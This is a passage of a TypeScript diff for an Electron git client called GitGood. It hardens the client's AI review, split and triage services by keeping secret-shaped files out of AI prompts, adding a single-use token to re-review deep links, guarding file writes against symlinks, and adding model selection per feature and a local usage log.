-5,6 +5,7 @@ * tested and reasoned about in isolation. */ import type { CommitFile, DiffHunk, ReviewCategory, ReviewFinding, ReviewSeverity, ReviewStrictness } from '@shared/types'; +import { secretFileReason } from '@shared/secrets'; import { joinLines, splitLines } from '@shared/util'; export const MAX_CHANGED_LINES_PER_FILE = 1500; @@ -47,11 +48,14 @@ export function hashHunks(hunks: DiffHunk[]): string { /** * Returns the reason a file is left out of a review, or null when it should be reviewed. - * `generatedPaths` are paths marked linguist-generated in .gitattributes. + * `generatedPaths` are paths marked linguist-generated in .gitattributes. Secret-shaped files + * (see `secretFileReason`) are always left out; `hunks` lets `.npmrc`/`.pypirc` pass when they hold no credentials. */ -export function skipReason(file: CommitFile, changedLines: number | null, generatedPaths: ReadonlySet = new Set()): string | null { +export function skipReason(file: CommitFile, changedLines: number | null, generatedPaths: ReadonlySet = new Set(), hunks?: DiffHunk[]): string | null { const path = file.path; const base = path.slice(path.lastIndexOf('/') + 1).toLowerCase(); + const secret = secretFileReason(path, hunks?.map((h) => h.lines.map((l) => l.text).join('\n')).join('\n')); + if (secret) return `${secret}, never sent to AI`; if (file.binary) return 'binary file'; if (file.status === 'deleted') return 'deleted file'; if (/\.(png|jpe?g|gif|webp|bmp|ico|svg|avif|tiff?|pdf|woff2?|ttf|eot|otf|zip|gz|tgz|jar|exe|dll|so|dylib|mp[34]|mov|wasm)$/i.test(base)) return 'binary or media file'; diff --git a/src/main/ai/review-export.ts b/src/main/ai/review-export.ts index 1d07f6f..de7b9c3 100644 --- a/src/main/ai/review-export.ts +++ b/src/main/ai/review-export.ts @@ -60,13 +60,14 @@ export function rerunUseful(target: ReviewRun['target']): boolean { return target.kind === 'worktree'; } -export function rerunUrl(repoPath: string): string { - return `gitgood://review/rerun?repo=${encodeURIComponent(repoPath)}`; +/** `token` is the per-run secret GitGood minted for this export (see ReviewService.rerunToken); without it a deep link only asks the user to confirm. */ +export function rerunUrl(repoPath: string, token: string): string { + return `gitgood://review/rerun?repo=${encodeURIComponent(repoPath)}&token=${encodeURIComponent(token)}`; } /** The shell command an agent runs to ask GitGood for a re-review on this platform. */ -export function rerunCommand(repoPath: string, platform: ExportPlatform): string { - const url = rerunUrl(repoPath); +export function rerunCommand(repoPath: string, platform: ExportPlatform, token: string): string { + const url = rerunUrl(repoPath, token); if (platform === 'win32') return `Start-Process "${url}"`; if (platform === 'darwin') return `open '${url}'`; return `xdg-open '${url}'`; @@ -80,7 +81,7 @@ export function sortFindings(findings: ReviewFinding[]): ReviewFinding[] { return [...findings].sort((a, b) => SEVERITY_RANK[a.severity] - SEVERITY_RANK[b.severity] || (a.path < b.path ? -1 : a.path > b.path ? 1 : 0) || a.line - b.line); } -export function buildExportJson(run: ReviewRun, previousRunId: string | null, platform: ExportPlatform): ReviewExport { +export function buildExportJson(run: ReviewRun, previousRunId: string | null, platform: ExportPlatform, rerunToken: string): ReviewExport { return { version: EXPORT_VERSION, runId: run.id, @@ -100,7 +101,7 @@ export function buildExportJson(run: ReviewRun, previousRunId: string | null, pl files: run.files.map((f) => ({ path: normalizePath(f.file.path), status: f.status, reason: f.reason })), droppedInvalid: run.droppedInvalid, findings: sortFindings(run.findings).map((f) => ({ ...f, path: normalizePath(f.path) })), - rerun: rerunUseful(run.target) ? { url: rerunUrl(run.repoPath), command: rerunCommand(run.repoPath, platform) } : null, + rerun: rerunUseful(run.target) ? { url: rerunUrl(run.repoPath, rerunToken), command: rerunCommand(run.repoPath, platform, rerunToken) } : null, }; } @@ -129,10 +130,10 @@ function targetLine(run: ReviewRun): string { return `Pending commit — ${t.paths.length} file${t.paths.length === 1 ? '' : 's'} selected in the working tree`; } -export function renderExportMarkdown(run: ReviewRun, previousRunId: string | null, platform: ExportPlatform): string { +export function renderExportMarkdown(run: ReviewRun, previousRunId: string | null, platform: ExportPlatform, rerunToken: string): string { const live = sortFindings(run.findings.filter((f) => !f.dismissed)); const jsonName = `${RUNS_DIR}/${safeRunId(run.id)}.json`; - const rerun = rerunCommand(run.repoPath, platform); + const rerun = rerunCommand(run.repoPath, platform, rerunToken); const out: string[] = []; out.push(`# GitGood review findings`); out.push(''); @@ -148,7 +149,7 @@ export function renderExportMarkdown(run: ReviewRun, previousRunId: string | nul out.push('4. Do not commit, stage, stash or otherwise run git write operations. Leave that to the user.'); if (rerunUseful(run.target)) { out.push(`5. When you are done, ask GitGood to re-review by running: \`${rerun}\``); - if (platform === 'win32') out.push(` From Command Prompt instead: \`start "" "${rerunUrl(run.repoPath)}"\``); + if (platform === 'win32') out.push(` From Command Prompt instead: \`start "" "${rerunUrl(run.repoPath, rerunToken)}"\``); out.push(`6. Then re-read \`${LATEST_JSON}\` next to this file: its \`runId\` changes when the re-review finishes and its \`previousRunId\` names this run. Finding ids are not stable across runs, so compare by title and path. If its target differs from the one above, say so instead of comparing.`); } else { out.push('5. Do not ask GitGood to re-review. This review covers committed changes, so it would read the same commits again and report the same findings no matter what you fixed.'); diff --git a/src/main/ai/review.ts b/src/main/ai/review.ts index bbef6d4..16b9c35 100644 --- a/src/main/ai/review.ts +++ b/src/main/ai/review.ts @@ -1,14 +1,17 @@ +import { randomBytes } from 'node:crypto'; import { existsSync } from 'node:fs'; import { mkdir, mkdtemp, readFile, readdir, rm, stat, writeFile } from 'node:fs/promises'; import { tmpdir } from 'node:os'; import { join } from 'node:path'; import type { DiffOptions } from '@shared/ipc'; import type { AiReviewProgressEvent, CommitFile, DiffHunk, FileDiff, GitHubRepoRef, PostReviewOptions, PullRequest, ReviewFileEntry, ReviewFinding, ReviewPlan, ReviewRun, ReviewRunTarget, ReviewStartOptions, ReviewTarget, ReviewVerdict, WorkingFile, WorktreeReviewOptions, WorktreeReviewTarget } from '@shared/types'; +import { modelFor } from '@shared/ai-model'; import type { ParsedDiff } from '@shared/diff/parse'; import { parseUnifiedDiffs } from '@shared/diff/parse'; import { languageFromPath } from '@shared/util'; import { isUnborn } from '../git/commit'; import { buildTextDiff, getPatchForFiles, getRangeFileDiff, looksBinary, readBlobText, readWorktree, toFsPath } from '../git/diff'; +import { readRepoFile, writeRepoFile } from '../repo/paths'; import { EMPTY_TREE_SHA, GitError, type GitClient } from '../git/git'; import { getGitDir, getStatus } from '../git/status'; import type { GhClient } from '../gh/gh'; @@ -18,6 +21,7 @@ import type { RepositoryManager } from '../repo/manager'; import type { Store } from '../store'; import type { ToolLocator } from '../tools'; import { AiError } from './backends'; +import { ClientJobs } from '../core/client-context'; import { createBackend } from './provider'; import { EXPORT_DIR_SEGMENTS, LATEST_JSON, RUNS_DIR, buildExportJson, exportFileNames, renderExportMarkdown, serializeExport, type ExportPlatform, type ReviewExport } from './review-export'; import { buildPrecommitFilePrompt, buildPrecommitSummaryPrompt, buildReviewFilePrompt, buildReviewSummaryPrompt, PRECOMMIT_SUMMARY_SCHEMA, PRECOMMIT_SUMMARY_SYSTEM_PROMPT, precommitReviewSystemPrompt, REVIEW_FILE_SCHEMA, REVIEW_SUMMARY_SCHEMA, REVIEW_SUMMARY_SYSTEM_PROMPT, reviewSystemPrompt, type PrecommitPromptContext, type ReviewPromptContext } from './prompts'; @@ -87,19 +91,18 @@ function newRunId(): string { * diff, persists runs per head SHA, and posts reviews to GitHub on request. */ export class ReviewService { - private controller: AbortController | null = null; + private readonly jobs = new ClientJobs(); private diffCache = new Map(); constructor(private readonly store: Store, private readonly tools: ToolLocator, private readonly git: GitClient, private readonly gh: GhClient, private readonly repos: RepositoryManager, private readonly userDataDir: string) {} cancel(): void { - this.controller?.abort(); - this.controller = null; + this.jobs.cancel(); } /** True while a review run is in flight; used by the update install gate to refuse installing mid-review. */ isActive(): boolean { - return this.controller !== null; + return this.jobs.isActive(); } // ---------- storage ---------- @@ -138,6 +141,29 @@ export class ReviewService { return process.platform === 'win32' || process.platform === 'darwin' ? process.platform : 'linux'; } + /** Rerun secrets minted for exported runs, by run id: memory only, so a restart invalidates every link already written to disk. */ + private readonly rerunTokens = new Map(); + + /** The random per-run token embedded in the export's `gitgood://review/rerun` link; stable across rewrites of the same run until consumed. */ + private rerunToken(run: ReviewRun): string { + let entry = this.rerunTokens.get(run.id); + if (!entry) { + entry = { repoPath: run.repoPath, token: randomBytes(16).toString('hex') }; + this.rerunTokens.set(run.id, entry); + } + return entry.token; + } + + /** True once for a token minted for `repoPath`'s export; the token is spent either way a caller uses it, so a leaked link cannot be replayed. */ + consumeRerunToken(repoPath: string, token: string): boolean { + for (const [runId, entry] of this.rerunTokens) { + if (entry.token !== token || entry.repoPath !== repoPath) continue; + this.rerunTokens.delete(runId); + return true; + } + return false; + } + private async readExport(file: string): Promise { try { return JSON.parse(await readFile(file, 'utf8')) as ReviewExport; @@ -196,8 +222,9 @@ export class ReviewService { const names = exportFileNames(run.id); const previousRunId = await this.previousExportId(runsDir, run); const platform = ReviewService.exportPlatform(); - const json = serializeExport(buildExportJson(run, previousRunId, platform)); - const md = renderExportMarkdown(run, previousRunId, platform); + const rerunToken = this.rerunToken(run); + const json = serializeExport(buildExportJson(run, previousRunId, platform, rerunToken)); + const md = renderExportMarkdown(run, previousRunId, platform, rerunToken); await this.writeExportFile(join(dir, ...names.json.split('/')), json); await this.writeExportFile(join(dir, ...names.md.split('/')), md); // Dismissing a finding on an older run re-exports it; that must not make it @@ -381,7 +408,7 @@ export class ReviewService { const lines = changedLineCount(hunks); const hash = hunks.length ? hashHunks(hunks) : null; if (only && !only.includes(file.path)) return { file, status: 'skipped', reason: 'not selected', hash }; - const reason = skipReason(file, lines, generated) ?? (hunks.length === 0 ? 'no text changes' : null); + const reason = skipReason(file, lines, generated, hunks) ?? (hunks.length === 0 ? 'no text changes' : null); if (reason) return { file, status: 'skipped', reason, hash }; reviewable++; if (reviewable > maxFiles) return { file, status: 'skipped', reason: `over the ${maxFiles}-file limit`, hash }; @@ -404,7 +431,7 @@ export class ReviewService { target: resolved.target, files: entries, changedLines, - model: settings.model, + model: modelFor(settings, 'review'), provider: settings.provider, effort: settings.effort, strictness: settings.reviewStrictness, @@ -434,17 +461,12 @@ export class ReviewService { const parts: string[] = []; let budget = MAX_GUIDELINE_CHARS; for (const c of candidates) { - const p = join(repoPath, ...c.split('/')); - if (!existsSync(p) || budget <= 0) continue; - try { - const text = (await readFile(p, 'utf8')).trim(); - if (!text) continue; - const slice = text.slice(0, budget); - budget -= slice.length; - parts.push(`## ${c}\n${slice}`); - } catch { - /* unreadable */ - } + if (budget <= 0) break; + const text = (await readRepoFile(repoPath, c))?.toString('utf8').trim(); + if (!text) continue; + const slice = text.slice(0, budget); + budget -= slice.length; + parts.push(`## ${c}\n${slice}`); } return parts.length ? parts.join('\n\n') : null; } @@ -496,17 +518,15 @@ export class ReviewService { } async start(repoPath: string, input: ReviewTarget, opts: ReviewStartOptions, report: (e: AiReviewProgressEvent) => void): Promise { - this.controller?.abort(); - const controller = new AbortController(); - this.controller = controller; + const controller = this.jobs.start(); // `finally`, not a tail assignment: anything that throws on the way (AI // disabled, an unknown base branch, gh failing) would otherwise leave the - // controller set, so `isActive()` stays true for the rest of the process + // job listed, so `isActive()` stays true for the rest of the process // and blocks installing an update forever. try { return await this.runReview(repoPath, input, opts, report, controller); } finally { - if (this.controller === controller) this.controller = null; + this.jobs.end(controller); } } @@ -515,7 +535,7 @@ export class ReviewService { const runId = newRunId(); const emit: Reporter = (e) => report({ ...e, repoPath, runId }); - const { backend, settings } = await createBackend(this.store, this.tools); + const { backend, settings } = await createBackend(this.store, this.tools, 'review'); emit({ phase: 'preparing', path: null, index: 0, total: 0, message: 'Reading the diff…' }); const resolved = await this.resolveTarget(repoPath, input); const set = await this.diffSet(repoPath, resolved, signal); @@ -528,7 +548,7 @@ export class ReviewService { target: resolved.target, startedAt: new Date().toISOString(), finishedAt: null, - model: settings.model, + model: modelFor(settings, 'review'), provider: backend.name, effort: settings.effort, strictness: settings.reviewStrictness, @@ -579,9 +599,9 @@ export class ReviewService { const excerpt = await this.contextExcerpt(repoPath, resolved, path, parsed); const response = await backend.complete({ system, - prompt: buildReviewFilePrompt({ context, path, oldPath: entry.file.oldPath, status: entry.file.status, language: languageFromPath(path), annotatedDiff: annotateHunks(parsed.hunks), contextExcerpt: excerpt, truncated: false }), + ...buildReviewFilePrompt({ context, path, oldPath: entry.file.oldPath, status: entry.file.status, language: languageFromPath(path), annotatedDiff: annotateHunks(parsed.hunks), contextExcerpt: excerpt, truncated: false }), schema: REVIEW_FILE_SCHEMA as unknown as Record, - model: settings.model, + model: modelFor(settings, 'review'), effort: settings.effort, signal, }); @@ -643,7 +663,7 @@ export class ReviewService { run.droppedInvalid, ), schema: REVIEW_SUMMARY_SCHEMA as unknown as Record, - model: settings.model, + model: modelFor(settings, 'review'), effort: settings.effort === 'max' ? 'high' : settings.effort, signal, }); @@ -670,7 +690,7 @@ export class ReviewService { run.finishedAt = new Date().toISOString(); await this.saveRun(run); emit({ phase: run.cancelled ? 'cancelled' : run.error ? 'error' : 'done', path: null, index: total, total, message: run.cancelled ? 'Review cancelled' : run.error ?? 'Review complete' }); - log.info(`AI review ${runId} (${targetKey(run.target)}): ${run.findings.length} finding(s), ${run.droppedInvalid} dropped, ${run.files.filter((f) => f.status === 'reviewed').length}/${run.files.length} files via ${backend.name}/${settings.model}`); + log.info(`AI review ${runId} (${targetKey(run.target)}): ${run.findings.length} finding(s), ${run.droppedInvalid} dropped, ${run.files.filter((f) => f.status === 'reviewed').length}/${run.files.length} files via ${backend.name}/${modelFor(settings, 'review')}`); return run; } @@ -748,13 +768,11 @@ export class ReviewService { } async startWorktree(repoPath: string, opts: WorktreeReviewOptions, report: (e: AiReviewProgressEvent) => void): Promise { - this.controller?.abort(); - const controller = new AbortController(); - this.controller = controller; + const controller = this.jobs.start(); try { return await this.runWorktreeReview(repoPath, opts, report, controller); } finally { - if (this.controller === controller) this.controller = null; + this.jobs.end(controller); } } @@ -763,7 +781,7 @@ export class ReviewService { const runId = newRunId(); const emit: Reporter = (e) => report({ ...e, repoPath, runId }); - const { backend, settings } = await createBackend(this.store, this.tools); + const { backend, settings } = await createBackend(this.store, this.tools, 'review'); emit({ phase: 'preparing', path: null, index: 0, total: 0, message: 'Reading the diff…' }); const status = await getStatus(this.git, repoPath); @@ -807,7 +825,7 @@ export class ReviewService { for (const entry of entries) { if (entry.status !== 'pending') continue; const hunks = diffs.get(entry.file.path)?.hunks ?? []; - const reason = skipReason(entry.file, changedLineCount(hunks), generated) ?? (hunks.length === 0 ? 'no text changes' : null); + const reason = skipReason(entry.file, changedLineCount(hunks), generated, hunks) ?? (hunks.length === 0 ? 'no text changes' : null); if (reason) { entry.status = 'skipped'; entry.reason = reason; @@ -826,7 +844,7 @@ export class ReviewService { target: { kind: 'worktree', paths: [...opts.files], partialPaths, indexSha }, startedAt: new Date().toISOString(), finishedAt: null, - model: settings.model, + model: modelFor(settings, 'review'), provider: backend.name, effort: settings.effort, strictness: settings.reviewStrictness, @@ -865,9 +883,9 @@ export class ReviewService { const excerpt = await this.worktreeExcerpt(repoPath, path, parsed); const response = await backend.complete({ system, - prompt: buildPrecommitFilePrompt({ context, path, oldPath: entry.file.oldPath, status: entry.file.status, language: languageFromPath(path), annotatedDiff: annotateHunks(parsed.hunks), contextExcerpt: excerpt, partial: partialPaths.includes(path), truncated: false }), + ...buildPrecommitFilePrompt({ context, path, oldPath: entry.file.oldPath, status: entry.file.status, language: languageFromPath(path), annotatedDiff: annotateHunks(parsed.hunks), contextExcerpt: excerpt, partial: partialPaths.includes(path), truncated: false }), schema: REVIEW_FILE_SCHEMA as unknown as Record, - model: settings.model, + model: modelFor(settings, 'review'), effort: settings.effort, signal, }); @@ -929,7 +947,7 @@ export class ReviewService { run.droppedInvalid, ), schema: PRECOMMIT_SUMMARY_SCHEMA as unknown as Record, - model: settings.model, + model: modelFor(settings, 'review'), effort: settings.effort === 'max' ? 'high' : settings.effort, signal, }); @@ -958,7 +976,7 @@ export class ReviewService { run.finishedAt = new Date().toISOString(); await this.saveRun(run); emit({ phase: run.cancelled ? 'cancelled' : run.error ? 'error' : 'done', path: null, index: total, total, message: run.cancelled ? 'Review cancelled' : run.error ?? 'Review complete' }); - log.info(`AI pre-commit review ${runId}: ${run.findings.length} finding(s), ${run.droppedInvalid} dropped, ${run.files.filter((f) => f.status === 'reviewed').length}/${run.files.length} files via ${backend.name}/${settings.model}`); + log.info(`AI pre-commit review ${runId}: ${run.findings.length} finding(s), ${run.droppedInvalid} dropped, ${run.files.filter((f) => f.status === 'reviewed').length}/${run.files.length} files via ${backend.name}/${modelFor(settings, 'review')}`); return run; } @@ -990,10 +1008,11 @@ export class ReviewService { if (recordedHash === null || currentHash === null || currentHash !== recordedHash) { throw new AiError('The file changed since the review ran. Re-review before applying.', 'other'); } - const fsPath = toFsPath(repoPath, finding.path); - const content = await readFile(fsPath, 'utf8'); + toFsPath(repoPath, finding.path); + const content = (await readRepoFile(repoPath, finding.path))?.toString('utf8'); + if (content === undefined) throw new AiError('This file is a symbolic link or outside the repository; edit it manually.', 'other'); const next = replaceLinesInContent(content, finding.line, finding.endLine ?? finding.line, finding.suggestion); - await writeFile(fsPath, next, 'utf8'); + await writeRepoFile(repoPath, finding.path, next); if (entry) entry.hash = await this.blobHash(repoPath, finding.path); await this.saveRun(run); } diff --git a/src/main/ai/splitter.ts b/src/main/ai/splitter.ts index e30a59b..748894d 100644 --- a/src/main/ai/splitter.ts +++ b/src/main/ai/splitter.ts @@ -1,4 +1,6 @@ import type { CommitOptions, DiffHunk, SplitApplyProgress, SplitHunk, SplitPlan, SplitPreflight, WorkingFile } from '@shared/types'; +import { modelFor } from '@shared/ai-model'; +import { secretFileReason } from '@shared/secrets'; import { buildStagePatch, selectHunks } from '@shared/diff/patch'; import { languageFromPath } from '@shared/util'; import { createCommit, isUnborn, unstageAll } from '../git/commit'; @@ -9,6 +11,7 @@ import { log } from '../logger'; import type { Store } from '../store'; import type { ToolLocator } from '../tools'; import { AiError } from './backends'; +import { ClientJobs } from '../core/client-context'; import { createBackend } from './provider'; import { buildSplitPrompt, SPLIT_SCHEMA, SPLIT_SYSTEM_PROMPT, type SplitPromptHunkInput } from './prompts'; import { annotateHunks } from './review-core'; @@ -36,18 +39,17 @@ interface ClassifiedIncluded { * calls the model. */ export class SplitterService { - private controller: AbortController | null = null; + private readonly jobs = new ClientJobs(); constructor(private readonly store: Store, private readonly tools: ToolLocator, private readonly git: GitClient) {} cancel(): void { - this.controller?.abort(); - this.controller = null; + this.jobs.cancel(); } /** True while a plan proposal is in flight; used by the update-install gate. */ isActive(): boolean { - return this.controller !== null; + return this.jobs.isActive(); } private async fileHash(repoPath: string, path: string): Promise { @@ -71,6 +73,11 @@ export class SplitterService { for (const path of files) { const file = byPath.get(path); if (!file) continue; + const secret = secretFileReason(path); + if (secret) { + excluded.push({ path, reason: `${secret}, never sent to AI` }); + continue; + } let fileHunks: DiffHunk[] = []; let unsplittableReason: string | null = null; if (!file.conflict) { @@ -129,9 +136,8 @@ export class SplitterService { const wholeFileOnlyPaths = wholeFileOnly.map((f) => f.path); if (hunks.length + wholeFileOnlyPaths.length < 2) throw new AiError('At least two hunks or whole files are needed to split into commits.', 'other'); - const { backend, settings: aiSettings } = await createBackend(this.store, this.tools); - const controller = new AbortController(); - this.controller = controller; + const { backend, settings: aiSettings } = await createBackend(this.store, this.tools, 'split'); + const controller = this.jobs.start(); try { let bytes = 0; for (const fileHunks of hunksByFile.values()) bytes += annotateHunks(fileHunks).length; @@ -141,7 +147,7 @@ export class SplitterService { return { id: h.id, path: h.path, header: h.header, language: languageFromPath(h.path), additions: h.additions, deletions: h.deletions, body: bodiesIncluded ? annotateHunks([dh]) : null }; }); const prompt = buildSplitPrompt({ branch: status.branch.name, hunks: promptHunks, wholeFileOnly: wholeFileOnly.map((f) => ({ path: f.path, status: f.reason })), bodiesIncluded }); - const response = await backend.complete({ system: SPLIT_SYSTEM_PROMPT, prompt, schema: SPLIT_SCHEMA as unknown as Record, model: aiSettings.model, effort: aiSettings.effort, signal: controller.signal }); + const response = await backend.complete({ system: SPLIT_SYSTEM_PROMPT, prompt, schema: SPLIT_SCHEMA as unknown as Record, model: modelFor(aiSettings, 'split'), effort: aiSettings.effort, signal: controller.signal }); const { commits, unassigned, warnings } = validateSplitResponse(response.json, hunks, wholeFileOnlyPaths); const startSha = (await this.git.stdout(repoPath, ['rev-parse', 'HEAD'], { readOnly: true })).trim(); @@ -152,7 +158,7 @@ export class SplitterService { log.info(`AI split plan ${plan.id}: ${commits.length} commit(s) from ${hunks.length} hunk(s)/${wholeFileOnlyPaths.length} whole file(s) via ${backend.name}/${response.model}`); return plan; } finally { - if (this.controller === controller) this.controller = null; + this.jobs.end(controller); } } diff --git a/src/main/ai/triage.ts b/src/main/ai/triage.ts index 0f20b75..867e0d7 100644 --- a/src/main/ai/triage.ts +++ b/src/main/ai/triage.ts @@ -2,6 +2,7 @@ import { existsSync } from 'node:fs'; import { mkdir, readFile, rename, writeFile } from 'node:fs/promises'; import { dirname, join } from 'node:path'; import type { AiSettings, AiTriageProgressEvent, GitHubRepoRef, PrTriage, PullRequest } from '@shared/types'; +import { modelFor } from '@shared/ai-model'; import { GitError } from '../git/git'; import type { GhClient } from '../gh/gh'; import { log } from '../logger'; @@ -10,6 +11,7 @@ import type { Store } from '../store'; import type { ToolLocator } from '../tools'; import { AiError, type AiBackend } from './backends'; import { buildTriagePrompt, TRIAGE_SCHEMA, TRIAGE_SYSTEM_PROMPT, type TriagePromptPr } from './prompts'; +import { ClientJobs } from '../core/client-context'; import { createBackend } from './provider'; import { stableHash } from './review-core'; import { BATCH_SIZE, evictTriageCache, splitBatches, validateTriageBatch, type TriageBatchResult } from './triage-core'; @@ -24,18 +26,17 @@ const MAX_FILE_STATS = 50; * `updatedAt` changes. See review.ts for the sibling orchestration pattern. */ export class TriageService { - private controller: AbortController | null = null; + private readonly jobs = new ClientJobs(); constructor(private readonly store: Store, private readonly tools: ToolLocator, private readonly gh: GhClient, private readonly repos: RepositoryManager, private readonly userDataDir: string) {} cancel(): void { - this.controller?.abort(); - this.controller = null; + this.jobs.cancel(); } /** True while a triage run is in flight; used by the update install gate to refuse installing mid-run. */ isActive(): boolean { - return this.controller !== null; + return this.jobs.isActive(); } // ---------- storage ---------- @@ -120,7 +121,7 @@ export class TriageService { system: TRIAGE_SYSTEM_PROMPT, prompt: buildTriagePrompt(promptPrs, login), schema: TRIAGE_SCHEMA as unknown as Record, - model: settings.model, + model: modelFor(settings, 'triage'), effort: settings.effort === 'max' ? 'high' : settings.effort, signal, }); @@ -135,12 +136,10 @@ export class TriageService { * Returns the full, updated cache for the repository. */ async run(repoPath: string, numbers: number[], report: (e: AiTriageProgressEvent) => void): Promise> { - this.controller?.abort(); - const controller = new AbortController(); - this.controller = controller; + const controller = this.jobs.start(); const signal = controller.signal; try { - const { backend, settings } = await createBackend(this.store, this.tools); + const { backend, settings } = await createBackend(this.store, this.tools, 'triage'); const ref = await this.repos.detectGitHub(repoPath); if (!ref) throw new GitError({ message: 'This repository does not have a GitHub remote.', command: '', exitCode: null, stderr: '', stdout: '', code: 'remote-not-found' }); @@ -184,10 +183,10 @@ export class TriageService { await this.saveCache(repoPath, cache); report({ repoPath, done: Math.min(done, total), total }); } - log.info(`AI triage for ${repoPath}: ${wanted.length} pull request(s) requested via ${backend.name}/${settings.model}`); + log.info(`AI triage for ${repoPath}: ${wanted.length} pull request(s) requested via ${backend.name}/${modelFor(settings, 'triage')}`); return cache; } finally { - if (this.controller === controller) this.controller = null; + this.jobs.end(controller); } } } diff --git a/src/main/ai/usage.ts b/src/main/ai/usage.ts new file mode 100644 index 0000000..e4b1eca --- /dev/null +++ b/src/main/ai/usage.ts @@ -0,0 +1,64 @@ +import { mkdir, readFile, rename, writeFile } from 'node:fs/promises'; +import { dirname, join } from 'node:path'; +import type { AiFeature, AiUsage, AiUsageMonth, AiUsageTotals } from '@shared/types'; +import { log } from '../logger'; + +/** Month (`YYYY-MM`, local time) → feature → totals. Stored in a machine-local file next to the other app data; never part of settings export/sync. */ +export type UsageLog = Record>>; + +export function monthKey(date: Date): string { + return `${date.getFullYear()}-${String(date.getMonth() + 1).padStart(2, '0')}`; +} + +/** Returns `usageLog` with one request added to `month`/`feature`. Cost stays null until a backend reports one. */ +export function addUsage(usageLog: UsageLog, month: string, feature: AiFeature, u: AiUsage): UsageLog { + const prev = usageLog[month]?.[feature]; + const next: AiUsageTotals = { + requests: (prev?.requests ?? 0) + 1, + inputTokens: (prev?.inputTokens ?? 0) + u.inputTokens, + outputTokens: (prev?.outputTokens ?? 0) + u.outputTokens, + cacheReadTokens: (prev?.cacheReadTokens ?? 0) + u.cacheReadTokens, + cacheWriteTokens: (prev?.cacheWriteTokens ?? 0) + u.cacheWriteTokens, + costUsd: u.costUsd === null ? (prev?.costUsd ?? null) : (prev?.costUsd ?? 0) + u.costUsd, + }; + return { ...usageLog, [month]: { ...usageLog[month], [feature]: next } }; +} + +let file: string | null = null; +let queue: Promise = Promise.resolve(); + +/** Points the usage log at `dir` (the app data directory). Until called, usage is not recorded. */ +export function configureUsage(dir: string): void { + file = join(dir, 'ai-usage.json'); +} + +async function load(path: string): Promise { + try { + return JSON.parse(await readFile(path, 'utf8')) as UsageLog; + } catch (err) { + if ((err as NodeJS.ErrnoException).code !== 'ENOENT') log.warn(`AI usage log unreadable, starting over: ${(err as Error).message}`); + return {}; + } +} + +/** Adds one request to this month's totals. Writes are serialized; failures are logged, never thrown (usage is best-effort). */ +export function recordUsage(feature: AiFeature, usage: AiUsage | undefined, now = new Date()): Promise { + const path = file; + if (!path || !usage) return Promise.resolve(); + const run = queue.then(async () => { + const next = addUsage(await load(path), monthKey(now), feature, usage); + await mkdir(dirname(path), { recursive: true }); + const tmp = `${path}.tmp`; + await writeFile(tmp, JSON.stringify(next), { mode: 0o600 }); + await rename(tmp, path); + }); + queue = run.catch((err) => log.warn(`Could not record AI usage: ${(err as Error).message}`)); + return queue as Promise; +} + +/** This month and last month, in that order (months with no usage have empty `features`). */ +export async function readUsage(now = new Date()): Promise { + const data = file ? await load(file) : {}; + const last = new Date(now.getFullYear(), now.getMonth() - 1, 1); + return [now, last].map((d) => ({ month: monthKey(d), features: data[monthKey(d)] ?? {} })); +} diff --git a/src/main/app-url.ts b/src/main/app-url.ts new file mode 100644 index 0000000..c71e8f5 --- /dev/null +++ b/src/main/app-url.ts @@ -0,0 +1,26 @@ +import { join } from 'node:path'; +import { fileURLToPath, pathToFileURL } from 'node:url'; + +/** The one document the app window may show: the configured server (client mode), the dev server, or the packaged renderer entry. */ +export function appEntryUrl(remoteUrl?: string): string { + return remoteUrl ?? process.env.ELECTRON_RENDERER_URL ?? pathToFileURL(join(__dirname, '../renderer/index.html')).href; +} + +/** True when `url` is exactly the `entry` document (query/hash ignored): same origin and path for http(s), same file for file://. Any other file:// URL is rejected. */ +export function isEntryUrl(url: string | undefined | null, entry: string): boolean { + if (!url) return false; + try { + const a = new URL(url); + const b = new URL(entry); + if (a.protocol !== b.protocol) return false; + if (a.protocol === 'file:') return fileURLToPath(a) === fileURLToPath(b); + return a.origin === b.origin && a.pathname === b.pathname; + } catch { + return false; + } +} + +/** IPC is served only to the app's own top-level frame: not a subframe, not another document. */ +export function isTrustedSender(event: { sender: { mainFrame: unknown }; senderFrame?: { url: string } | null }, entry: string): boolean { + return !!event.senderFrame && event.senderFrame === event.sender.mainFrame && isEntryUrl(event.senderFrame.url, entry); +} diff --git a/src/main/argv.ts b/src/main/argv.ts new file mode 100644 index 0000000..043f5d9 --- /dev/null +++ b/src/main/argv.ts @@ -0,0 +1,25 @@ +import { resolve } from 'node:path'; + +/** + * The first existing directory a user passed on the command line (`gitgood `), or null. + * + * `argv[0]` is the executable (the AppImage mount's binary, `gitgood.exe`, or `electron` in dev). + * In dev (`electron .`, `process.defaultApp`) the first non-flag argument is the app path, which + * would otherwise open GitGood's own checkout. Flags (including `--gitgood-server`) and protocol + * links are skipped; relative paths resolve against `cwd` (the second instance's working directory). + * Pure so it can be unit tested without Electron. + */ +export function pathFromArgv(argv: string[], opts: { defaultApp: boolean; cwd: string; isDirectory: (path: string) => boolean }): string | null { + let skipAppPath = opts.defaultApp; + for (const arg of argv.slice(1)) { + if (!arg || arg.startsWith('-')) continue; + if (skipAppPath) { + skipAppPath = false; + continue; + } + if (/^[a-z][a-z0-9+.-]+:\/\//i.test(arg)) continue; + const path = resolve(opts.cwd, arg); + if (opts.isDirectory(path)) return path; + } + return null; +} diff --git a/src/main/client.ts b/src/main/client.ts index ce337ca..cbc47e7 100644 --- a/src/main/client.ts +++ b/src/main/client.ts @@ -3,13 +3,15 @@ import { join } from 'node:path'; import { clipboard, dialog, ipcMain, nativeTheme, Notification, shell, type BrowserWindow } from 'electron'; import { IPC_EVENT_CHANNEL, IPC_INVOKE_CHANNEL, type ApiMethods } from '@shared/ipc'; import type { InboxItem, InboxState, IpcResult } from '@shared/types'; +import { compareVersions } from '@shared/util'; +import { appEntryUrl, isTrustedSender } from './app-url'; import { applyInboxBadge } from './badge'; import { ElectronHost } from './host/electron-host'; import { sendEvent } from './ipc'; import { ensureManagedServer, readUnit } from './local-server'; import { log } from './logger'; +import { refreshMenuShortcuts } from './menu'; import type { Store } from './store'; -import { compareVersions } from './update/update-core'; import type { Updater } from './update/updater'; /** @@ -171,6 +173,7 @@ export function registerClientIpc(serverUrl: string, store: Store, getWindow: () await host.openExternal(url); }, 'app.notify': (title, body) => host.notify(title, body), + 'app.setShortcuts': async (overrides) => refreshMenuShortcuts(overrides), 'app.zoom': async (direction) => { const next = host.zoom(direction); store.updateState({ zoomLevel: next }); @@ -214,9 +217,11 @@ export function registerClientIpc(serverUrl: string, store: Store, getWindow: () 